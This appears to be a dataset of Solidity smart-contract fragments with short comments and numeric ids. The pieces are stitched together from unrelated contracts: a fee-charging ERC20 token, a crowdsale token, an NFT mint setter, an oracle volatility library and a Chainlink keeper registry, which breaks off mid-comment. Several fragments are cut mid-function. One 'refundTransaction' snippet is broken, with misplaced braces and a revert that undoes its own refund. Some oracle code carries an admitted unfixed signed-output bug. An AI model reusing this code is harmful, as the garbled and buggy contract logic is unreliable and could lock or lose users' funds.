(contractBalance * tokensForLiquidity) / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div( totalTokensToSwap ); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success, ) = address(devWallet).call{value: ethForDev}(""); if (liquidityTokens > 0 && ethForLiquidity > 0) { addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify( amountToSwapForETH, ethForLiquidity, tokensForLiquidity ); } (success, ) = address(marketingWallet).call{ value: address(this).balance }(""); } function setAutoLPBurnSettings( uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled ) external onlyOwner { require( _frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes" ); require( _percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%" ); lpBurnFrequency = _frequencyInSeconds; percentForLPBurn = _percent; lpBurnEnabled = _Enabled; } function autoBurnLiquidityPairTokens() internal returns (bool) { lastLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div( 10000 ); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit AutoNukeLP(); return true; } function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool) { require( block.timestamp > lastManualLpBurnTime + manualBurnFrequency, "Must wait for cooldown to finish" ); require(percent <= 1000, "May not nuke more than 10% of tokens in LP"); lastManualLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit ManualNukeLP(); return true; } }
exclude from paying fees or having max transaction amount
constructor() ERC20("Zaizo Token", "ZAIZO") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 5; uint256 _buyLiquidityFee = 2; uint256 _buyDevFee = 5; uint256 _sellMarketingFee = 5; uint256 _sellLiquidityFee = 2; uint256 _sellDevFee = 5; uint256 totalSupply = 1 * 1e12 * 1e18; maxTransactionAmount = (totalSupply * 10) / 1000; maxWallet = (totalSupply * 20) / 1000; swapTokensAtAmount = (totalSupply * 5) / 10000; buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; marketingWallet = address(0x640B63028B57457bFe714Ed656396F1371105c59); devWallet = address(0x97A17eD458C9044dc8B0a377E0368c37455CB4C5); excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again _mint(msg.sender, totalSupply);
6,107,055
pragma solidity ^0.4.15; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply = 800000000 * 10**18; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } /* * AfterSchoolCrowdsaleToken * * Simple ERC20 Token example, with crowdsale token creation */ contract AfterSchoolCrowdsaleToken is StandardToken, Ownable { string public standard = "AfterSchool Token v1.1"; string public name = "AfterSchool Token"; string public symbol = "AST"; uint public decimals = 18; address public multisig = 0x8Dab59292A76114776B4933aD6F1246Bf647aB90; // 1 ETH = 5800 AST tokens (1 AST = 0.05 USD) uint PRICE = 5800; struct ContributorData { uint contributionAmount; uint tokensIssued; } function AfterSchoolCrowdsaleToken() { balances[msg.sender] = totalSupply; } mapping(address => ContributorData) public contributorList; uint nextContributorIndex; mapping(uint => address) contributorIndexes; state public crowdsaleState = state.pendingStart; enum state { pendingStart, crowdsale, crowdsaleEnded } event CrowdsaleStarted(uint blockNumber); event CrowdsaleEnded(uint blockNumber); event ErrorSendingETH(address to, uint amount); event MinCapReached(uint blockNumber); event MaxCapReached(uint blockNumber); uint public constant BEGIN_TIME = 1506420000; uint public constant END_TIME = 1509012000; uint public minCap = 3500 ether; uint public maxCap = 50000 ether; uint public ethRaised = 0; uint public tokenTotalSupply = 800000000 * 10**decimals; uint crowdsaleTokenCap = 480000000 * 10**decimals; // 60% uint foundersAndTeamTokens = 120000000 * 10**decimals; // 15% uint advisorAndAmbassadorTokens = 56000000 * 10**decimals; // 7% uint investorTokens = 8000000 * 10**decimals; // 10% uint afterschoolContributorTokens = 56000000 * 10**decimals; // 7% uint futurePartnerTokens = 64000000 * 10**decimals; // 8% bool foundersAndTeamTokensClaimed = false; bool advisorAndAmbassadorTokensClaimed = false; bool investorTokensClaimed = false; bool afterschoolContributorTokensClaimed = false; bool futurePartnerTokensClaimed = false; uint nextContributorToClaim; mapping(address => bool) hasClaimedEthWhenFail; function() payable { require(msg.value != 0); require(crowdsaleState != state.crowdsaleEnded);// Check if crowdsale has ended bool stateChanged = checkCrowdsaleState(); // Check blocks and calibrate crowdsale state if(crowdsaleState == state.crowdsale) { createTokens(msg.sender); // Process transaction and issue tokens } else { refundTransaction(stateChanged); // Set state and return funds or throw } } // // Check crowdsale state and calibrate it // function checkCrowdsaleState() internal returns (bool) { if (ethRaised >= maxCap && crowdsaleState != state.crowdsaleEnded) { // Check if max cap is reached crowdsaleState = state.crowdsaleEnded; CrowdsaleEnded(block.number); // Raise event return true; } if(now >= END_TIME) { crowdsaleState = state.crowdsaleEnded; CrowdsaleEnded(block.number); // Raise event return true; } if(now >= BEGIN_TIME && now < END_TIME) { // Check if we are in crowdsale state if (crowdsaleState != state.crowdsale) { // Check if state needs to be changed crowdsaleState = state.crowdsale; // Set new state CrowdsaleStarted(block.number); // Raise event return true; } } return false; } // // Decide if throw or only return ether // function refundTransaction(bool _stateChanged) internal { if (_stateChanged) { msg.sender.transfer(msg.value); } else { revert(); } } function createTokens(address _contributor) payable { uint _amount = msg.value; uint contributionAmount = _amount; uint returnAmount = 0; if (_amount > (maxCap - ethRaised)) { // Check if max contribution is lower than _amount sent contributionAmount = maxCap - ethRaised; // Set that user contibutes his maximum alowed contribution returnAmount = _amount - contributionAmount; // Calculate how much he must get back } if (ethRaised + contributionAmount > minCap && minCap > ethRaised) { MinCapReached(block.number); } if (ethRaised + contributionAmount == maxCap && ethRaised < maxCap) { MaxCapReached(block.number); } if (contributorList[_contributor].contributionAmount == 0){ contributorIndexes[nextContributorIndex] = _contributor; nextContributorIndex += 1; } contributorList[_contributor].contributionAmount += contributionAmount; ethRaised += contributionAmount; // Add to eth raised uint256 tokenAmount = calculateEthToAfterschool(contributionAmount); // Calculate how much tokens must contributor get if (tokenAmount > 0) { transferToContributor(_contributor, tokenAmount); contributorList[_contributor].tokensIssued += tokenAmount; // log token issuance } if (!multisig.send(msg.value)) { revert(); } } function transferToContributor(address _to, uint256 _value) { balances[owner] = balances[owner].sub(_value); balances[_to] = balances[_to].add(_value); } function calculateEthToAfterschool(uint _eth) constant returns(uint256) { uint tokens = _eth.mul(getPrice()); uint percentage = 0; if (ethRaised > 0) { percentage = ethRaised * 100 / maxCap; } return tokens + getStageBonus(percentage, tokens) + getAmountBonus(_eth, tokens); } function getStageBonus(uint percentage, uint tokens) constant returns (uint) { uint stageBonus = 0; if (percentage <= 10) stageBonus = tokens * 60 / 100; // Stage 1 else if (percentage <= 50) stageBonus = tokens * 30 / 100; else if (percentage <= 70) stageBonus = tokens * 20 / 100; else if (percentage <= 90) stageBonus = tokens * 15 / 100; else if (percentage <= 100) stageBonus = tokens * 10 / 100; return stageBonus; } function getAmountBonus(uint _eth, uint tokens) constant returns (uint) { uint amountBonus = 0; if (_eth >= 3000 ether) amountBonus = tokens * 13 / 100; else if (_eth >= 2000 ether) amountBonus = tokens * 12 / 100; else if (_eth >= 1500 ether) amountBonus = tokens * 11 / 100; else if (_eth >= 1000 ether) amountBonus = tokens * 10 / 100; else if (_eth >= 750 ether) amountBonus = tokens * 9 / 100; else if (_eth >= 500 ether) amountBonus = tokens * 8 / 100; else if (_eth >= 300 ether) amountBonus = tokens * 75 / 1000; else if (_eth >= 200 ether) amountBonus = tokens * 7 / 100; else if (_eth >= 150 ether) amountBonus = tokens * 6 / 100; else if (_eth >= 100 ether) amountBonus = tokens * 55 / 1000; else if (_eth >= 75 ether) amountBonus = tokens * 5 / 100; else if (_eth >= 50 ether) amountBonus = tokens * 45 / 1000; else if (_eth >= 30 ether) amountBonus = tokens * 4 / 100; else if (_eth >= 20 ether) amountBonus = tokens * 35 / 1000; else if (_eth >= 15 ether) amountBonus = tokens * 3 / 100; else if (_eth >= 10 ether) amountBonus = tokens * 25 / 1000; else if (_eth >= 7 ether) amountBonus = tokens * 2 / 100; else if (_eth >= 5 ether) amountBonus = tokens * 15 / 1000; else if (_eth >= 3 ether) amountBonus = tokens * 1 / 100; else if (_eth >= 2 ether) amountBonus = tokens * 5 / 1000; return amountBonus; } // replace this with any other price function function getPrice() constant returns (uint result) { return PRICE; } // // Owner can batch return contributors contributions(eth) // function batchReturnEthIfFailed(uint _numberOfReturns) onlyOwner { require(crowdsaleState != state.crowdsaleEnded); // Check if crowdsale has ended require(ethRaised < minCap); // Check if crowdsale has failed address currentParticipantAddress; uint contribution; for (uint cnt = 0; cnt < _numberOfReturns; cnt++){ currentParticipantAddress = contributorIndexes[nextContributorToClaim]; // Get next unclaimed participant if (currentParticipantAddress == 0x0) return; // Check if all the participants were compensated if (!hasClaimedEthWhenFail[currentParticipantAddress]) { // Check if participant has already claimed contribution = contributorList[currentParticipantAddress].contributionAmount; // Get contribution of participant hasClaimedEthWhenFail[currentParticipantAddress] = true; // Set that he has claimed balances[currentParticipantAddress] = 0; if (!currentParticipantAddress.send(contribution)){ // Refund eth ErrorSendingETH(currentParticipantAddress, contribution); // If there is an issue raise event for manual recovery } } nextContributorToClaim += 1; // Repeat } } // // Owner can set multisig address for crowdsale // function setMultisigAddress(address _newAddress) onlyOwner { multisig = _newAddress; } }
Decide if throw or only return ether
function refundTransaction(bool _stateChanged) internal { if (_stateChanged) { msg.sender.transfer(msg.value); revert(); } } else { }
10,757,502
./partial_match/1/0x8DF465690353c845Dcb2e6456fE90851753bD37B/sources/Unik_Watch_NEOPULSE.sol
Insert/Update multiple mintable NFTs into the contract. _tokenIds The array of token IDs to insert/update. _URIs The array of URIs corresponding to the token IDs. Only authorized addresses can call this function./
function insUpdMintableNFTs(uint256[] memory _tokenIds, string[] memory _URIs, uint256[] memory _price) public onlyAuthorized { require(_tokenIds.length == _URIs.length && _tokenIds.length== _price.length, "Array lengths mismatch"); for (uint256 i = 0; i < _tokenIds.length; i++) { require(!_exists(_tokenIds[i]), "Token ID already minted"); isMintableNFT[_tokenIds[i]].isAllowed = true; isMintableNFT[_tokenIds[i]].price = _price[i] * 1 gwei; isMintableNFT[_tokenIds[i]].tokenURI = _URIs[i]; } }
9,292,274
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // Copied and modified from keep3r network code: // https://github.com/keep3r-network/keep3r.network/blob/master/contracts/Keep3rV1Volatility.sol // Subject to the MIT license interface IKeep3rV1Oracle { function sample(address tokenIn, uint amountIn, address tokenOut, uint points, uint window) external view returns (uint[] memory); } interface IERC20 { function decimals() external view returns (uint); } contract Keep3rV1OracleMetrics { uint private constant FIXED_1 = 0x080000000000000000000000000000000; uint private constant FIXED_2 = 0x100000000000000000000000000000000; uint private constant SQRT_1 = 13043817825332782212; uint private constant LNX = 3988425491; uint private constant LOG_10_2 = 3010299957; uint private constant LOG_E_2 = 6931471806; uint private constant BASE = 1e10; uint public constant periodSize = 1800; IKeep3rV1Oracle public constant KV1O = IKeep3rV1Oracle(0xf67Ab1c914deE06Ba0F264031885Ea7B276a7cDa); // SushiswapV1Oracle function floorLog2(uint256 _n) public pure returns (uint8) { uint8 res = 0; if (_n < 256) { // At most 8 iterations while (_n > 1) { _n >>= 1; res += 1; } } else { // Exactly 8 iterations for (uint8 s = 128; s > 0; s >>= 1) { if (_n >= (uint(1) << s)) { _n >>= s; res |= s; } } } return res; } function ln(uint256 x) public pure returns (uint) { uint res = 0; // If x >= 2, then we compute the integer part of log2(x), which is larger than 0. if (x >= FIXED_2) { uint8 count = floorLog2(x / FIXED_1); x >>= count; // now x < 2 res = count * FIXED_1; } // If x > 1, then we compute the fraction part of log2(x), which is larger than 0. if (x > FIXED_1) { for (uint8 i = 127; i > 0; --i) { x = (x * x) / FIXED_1; // now 1 < x < 4 if (x >= FIXED_2) { x >>= 1; // now 1 < x < 2 res += uint(1) << (i - 1); } } } return res * LOG_E_2 / BASE; } /** * @dev computes e ^ (x / FIXED_1) * FIXED_1 * input range: 0 <= x <= OPT_EXP_MAX_VAL - 1 * auto-generated via 'PrintFunctionOptimalExp.py' * Detailed description: * - Rewrite the input as a sum of binary exponents and a single residual r, as small as possible * - The exponentiation of each binary exponent is given (pre-calculated) * - The exponentiation of r is calculated via Taylor series for e^x, where x = r * - The exponentiation of the input is calculated by multiplying the intermediate results above * - For example: e^5.521692859 = e^(4 + 1 + 0.5 + 0.021692859) = e^4 * e^1 * e^0.5 * e^0.021692859 */ function optimalExp(uint256 x) public pure returns (uint256) { uint256 res = 0; uint256 y; uint256 z; z = y = x % 0x10000000000000000000000000000000; // get the input modulo 2^(-3) z = (z * y) / FIXED_1; res += z * 0x10e1b3be415a0000; // add y^02 * (20! / 02!) z = (z * y) / FIXED_1; res += z * 0x05a0913f6b1e0000; // add y^03 * (20! / 03!) z = (z * y) / FIXED_1; res += z * 0x0168244fdac78000; // add y^04 * (20! / 04!) z = (z * y) / FIXED_1; res += z * 0x004807432bc18000; // add y^05 * (20! / 05!) z = (z * y) / FIXED_1; res += z * 0x000c0135dca04000; // add y^06 * (20! / 06!) z = (z * y) / FIXED_1; res += z * 0x0001b707b1cdc000; // add y^07 * (20! / 07!) z = (z * y) / FIXED_1; res += z * 0x000036e0f639b800; // add y^08 * (20! / 08!) z = (z * y) / FIXED_1; res += z * 0x00000618fee9f800; // add y^09 * (20! / 09!) z = (z * y) / FIXED_1; res += z * 0x0000009c197dcc00; // add y^10 * (20! / 10!) z = (z * y) / FIXED_1; res += z * 0x0000000e30dce400; // add y^11 * (20! / 11!) z = (z * y) / FIXED_1; res += z * 0x000000012ebd1300; // add y^12 * (20! / 12!) z = (z * y) / FIXED_1; res += z * 0x0000000017499f00; // add y^13 * (20! / 13!) z = (z * y) / FIXED_1; res += z * 0x0000000001a9d480; // add y^14 * (20! / 14!) z = (z * y) / FIXED_1; res += z * 0x00000000001c6380; // add y^15 * (20! / 15!) z = (z * y) / FIXED_1; res += z * 0x000000000001c638; // add y^16 * (20! / 16!) z = (z * y) / FIXED_1; res += z * 0x0000000000001ab8; // add y^17 * (20! / 17!) z = (z * y) / FIXED_1; res += z * 0x000000000000017c; // add y^18 * (20! / 18!) z = (z * y) / FIXED_1; res += z * 0x0000000000000014; // add y^19 * (20! / 19!) z = (z * y) / FIXED_1; res += z * 0x0000000000000001; // add y^20 * (20! / 20!) res = res / 0x21c3677c82b40000 + y + FIXED_1; // divide by 20! and then add y^1 / 1! + y^0 / 0! if ((x & 0x010000000000000000000000000000000) != 0) res = (res * 0x1c3d6a24ed82218787d624d3e5eba95f9) / 0x18ebef9eac820ae8682b9793ac6d1e776; // multiply by e^2^(-3) if ((x & 0x020000000000000000000000000000000) != 0) res = (res * 0x18ebef9eac820ae8682b9793ac6d1e778) / 0x1368b2fc6f9609fe7aceb46aa619baed4; // multiply by e^2^(-2) if ((x & 0x040000000000000000000000000000000) != 0) res = (res * 0x1368b2fc6f9609fe7aceb46aa619baed5) / 0x0bc5ab1b16779be3575bd8f0520a9f21f; // multiply by e^2^(-1) if ((x & 0x080000000000000000000000000000000) != 0) res = (res * 0x0bc5ab1b16779be3575bd8f0520a9f21e) / 0x0454aaa8efe072e7f6ddbab84b40a55c9; // multiply by e^2^(+0) if ((x & 0x100000000000000000000000000000000) != 0) res = (res * 0x0454aaa8efe072e7f6ddbab84b40a55c5) / 0x00960aadc109e7a3bf4578099615711ea; // multiply by e^2^(+1) if ((x & 0x200000000000000000000000000000000) != 0) res = (res * 0x00960aadc109e7a3bf4578099615711d7) / 0x0002bf84208204f5977f9a8cf01fdce3d; // multiply by e^2^(+2) if ((x & 0x400000000000000000000000000000000) != 0) res = (res * 0x0002bf84208204f5977f9a8cf01fdc307) / 0x0000003c6ab775dd0b95b4cbee7e65d11; // multiply by e^2^(+3) return res; } function sqrt(uint x) public pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } /** * @notice computes mle for mu in assumed GBM price path * @dev Non-standard form of P_t = P_0 * e^{mu * t + sigma * W_t} */ function mu(address tokenIn, address tokenOut, uint points, uint window) public view returns (uint m) { // TODO: Fix for signed int output uint[] memory p = KV1O.sample(tokenIn, uint(10)**IERC20(tokenIn).decimals(), tokenOut, points, window); for (uint8 i = 1; i <= (p.length - 1); i++) { m += (ln(p[i] * FIXED_1) - ln(p[i-1] * FIXED_1)); } return m / (periodSize * (p.length - 1)); } /** * @notice computes mle for sigma**2 in assumed GBM price path * @dev Non-standard form of P_t = P_0 * e^{mu * t + sigma * W_t} */ function sigSqrd(address tokenIn, address tokenOut, uint points, uint window) public view returns (uint ss) { // TODO: Fix for signed int output uint[] memory p = KV1O.sample(tokenIn, uint(10)**IERC20(tokenIn).decimals(), tokenOut, points, window); uint m = mu(tokenIn, tokenOut, points, window); m = m * periodSize; for (uint8 i = 1; i <= (p.length - 1); i++) { ss += ((ln(p[i] * FIXED_1) - ln(p[i-1] * FIXED_1)) - m)**2; // FIXED_1 needed? } return ss / (periodSize * (p.length - 1)); } /** * @notice computes mle for sigma in assumed GBM price path * @dev Non-standard form of P_t = P_0 * e^{mu * t + sigma * W_t} */ function sig(address tokenIn, address tokenOut, uint points, uint window) external view returns (uint) { return sqrt(sigSqrd(tokenIn, tokenOut, points, window)); } /** * @notice rolling mu for last r windows */ function rMu(address tokenIn, address tokenOut, uint points, uint window, uint8 r) public view returns (uint[] memory) { uint[] memory _mus = new uint[](r); // need to hit sample() for points = r * points with window = window to get extra number of points // then for i = 1, ..., r; assemble the _mus uint allPoints = points * uint(r); uint[] memory p = KV1O.sample(tokenIn, uint(10)**IERC20(tokenIn).decimals(), tokenOut, allPoints, window); uint m = 0; uint index = 0; for (uint8 i = 1; i <= (p.length - 1); i++) { m += (ln(p[i] * FIXED_1) - ln(p[i-1] * FIXED_1)); if (i % (points * window) == 0) { _mus[index] = (m / (periodSize * (p.length - 1))); m = 0; index += 1; } } return _mus; } /** * @notice rolling sig for last r windows */ function rSigSqrd(address tokenIn, address tokenOut, uint points, uint window, uint8 r) external view returns (uint[] memory) { uint[] memory _mus = rMu(tokenIn, tokenOut, points, window, r); uint[] memory _sigs = new uint[](r); // need to hit sample() for points = r * points with window = window to get extra number of points // then for i = 1, ..., r; assemble the _sigs uint allPoints = points * uint(r); uint[] memory p = KV1O.sample(tokenIn, uint(10)**IERC20(tokenIn).decimals(), tokenOut, allPoints, window); uint ss = 0; uint index = 0; for (uint8 i = 1; i <= (p.length - 1); i++) { ss += ((ln(p[i] * FIXED_1) - ln(p[i-1] * FIXED_1)) - _mus[index]*periodSize)**2; if (i % (points * window) == 0) { _sigs[index] = (ss / (periodSize * (p.length - 1))); ss = 0; index += 1; } } return _sigs; } }
rolling sig for last r windows/ need to hit sample() for points = r points with window = window to get extra number of points then for i = 1, ..., r; assemble the _sigs
function rSigSqrd(address tokenIn, address tokenOut, uint points, uint window, uint8 r) external view returns (uint[] memory) { uint[] memory _mus = rMu(tokenIn, tokenOut, points, window, r); uint[] memory _sigs = new uint[](r); uint allPoints = points * uint(r); uint[] memory p = KV1O.sample(tokenIn, uint(10)**IERC20(tokenIn).decimals(), tokenOut, allPoints, window); uint ss = 0; uint index = 0; for (uint8 i = 1; i <= (p.length - 1); i++) { ss += ((ln(p[i] * FIXED_1) - ln(p[i-1] * FIXED_1)) - _mus[index]*periodSize)**2; if (i % (points * window) == 0) { _sigs[index] = (ss / (periodSize * (p.length - 1))); ss = 0; index += 1; } } return _sigs; }
6,410,806
// SPDX-License-Identifier: MIT pragma solidity 0.7.6; contract KeeperBase { /** * @notice method that allows it to be simulated via eth_call by checking that * the sender is the zero address. */ function preventExecution() internal view { require(tx.origin == address(0), "only for simulated backend"); } /** * @notice modifier that allows it to be simulated via eth_call by checking * that the sender is the zero address. */ modifier cannotExecute() { preventExecution(); _; } } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; import "@chainlink/contracts/src/v0.6/interfaces/AggregatorV3Interface.sol"; import "@chainlink/contracts/src/v0.7/interfaces/LinkTokenInterface.sol"; import "@chainlink/contracts/src/v0.7/vendor/SafeMathChainlink.sol"; import "./vendor/Owned.sol"; import "./vendor/Address.sol"; import "./vendor/Pausable.sol"; import "./vendor/ReentrancyGuard.sol"; import "./vendor/SignedSafeMath.sol"; import "./SafeMath96.sol"; import "./KeeperBase.sol"; import "./KeeperCompatibleInterface.sol"; import "./KeeperRegistryInterface.sol"; /** * @notice Registry for adding work for Chainlink Keepers to perform on client * contracts. Clients must support the Upkeep interface. */ contract KeeperRegistry is Owned, KeeperBase, ReentrancyGuard, Pausable, KeeperRegistryExecutableInterface { using Address for address; using SafeMathChainlink for uint256; using SafeMath96 for uint96; using SignedSafeMath for int256; address constant private ZERO_ADDRESS = address(0); address constant private IGNORE_ADDRESS = 0xFFfFfFffFFfffFFfFFfFFFFFffFFFffffFfFFFfF; bytes4 constant private CHECK_SELECTOR = KeeperCompatibleInterface.checkUpkeep.selector; bytes4 constant private PERFORM_SELECTOR = KeeperCompatibleInterface.performUpkeep.selector; uint256 constant private CALL_GAS_MAX = 2_500_000; uint256 constant private CALL_GAS_MIN = 2_300; uint256 constant private CANCELATION_DELAY = 50; uint256 constant private CUSHION = 5_000; uint256 constant private REGISTRY_GAS_OVERHEAD = 80_000; uint256 constant private PPB_BASE = 1_000_000_000; uint64 constant private UINT64_MAX = 2**64 - 1; uint96 constant private LINK_TOTAL_SUPPLY = 1e27; uint256 private s_upkeepCount; uint256[] private s_canceledUpkeepList; address[] private s_keeperList; mapping(uint256 => Upkeep) private s_upkeep; mapping(address => KeeperInfo) private s_keeperInfo; mapping(address => address) private s_proposedPayee; mapping(uint256 => bytes) private s_checkData; Config private s_config; int256 private s_fallbackGasPrice; // not in config object for gas savings int256 private s_fallbackLinkPrice; // not in config object for gas savings LinkTokenInterface public immutable LINK; AggregatorV3Interface public immutable LINK_ETH_FEED; AggregatorV3Interface public immutable FAST_GAS_FEED; address private s_registrar; struct Upkeep { address target; uint32 executeGas; uint96 balance; address admin; uint64 maxValidBlocknumber; address lastKeeper; } struct KeeperInfo { address payee; uint96 balance; bool active; } struct Config { uint32 paymentPremiumPPB; uint24 blockCountPerTurn; uint32 checkGasLimit; uint24 stalenessSeconds; uint16 gasCeilingMultiplier; } struct PerformParams { address from; uint256 id; bytes performData; } event UpkeepRegistered( uint256 indexed id, uint32 executeGas, address admin ); event UpkeepPerformed( uint256 indexed id, bool indexed success, address indexed from, uint96 payment, bytes performData ); event UpkeepCanceled( uint256 indexed id, uint64 indexed atBlockHeight ); event FundsAdded( uint256 indexed id, address indexed from, uint96 amount ); event FundsWithdrawn( uint256 indexed id, uint256 amount, address to ); event ConfigSet( uint32 paymentPremiumPPB, uint24 blockCountPerTurn, uint32 checkGasLimit, uint24 stalenessSeconds, uint16 gasCeilingMultiplier, int256 fallbackGasPrice, int256 fallbackLinkPrice ); event KeepersUpdated( address[] keepers, address[] payees ); event PaymentWithdrawn( address indexed keeper, uint256 indexed amount, address indexed to, address payee ); event PayeeshipTransferRequested( address indexed keeper, address indexed from, address indexed to ); event PayeeshipTransferred( address indexed keeper, address indexed from, address indexed to ); event RegistrarChanged( address indexed from, address indexed to ); /** * @param link address of the LINK Token * @param linkEthFeed address of the LINK/ETH price feed * @param fastGasFeed address of the Fast Gas price feed * @param paymentPremiumPPB payment premium rate oracles receive on top of 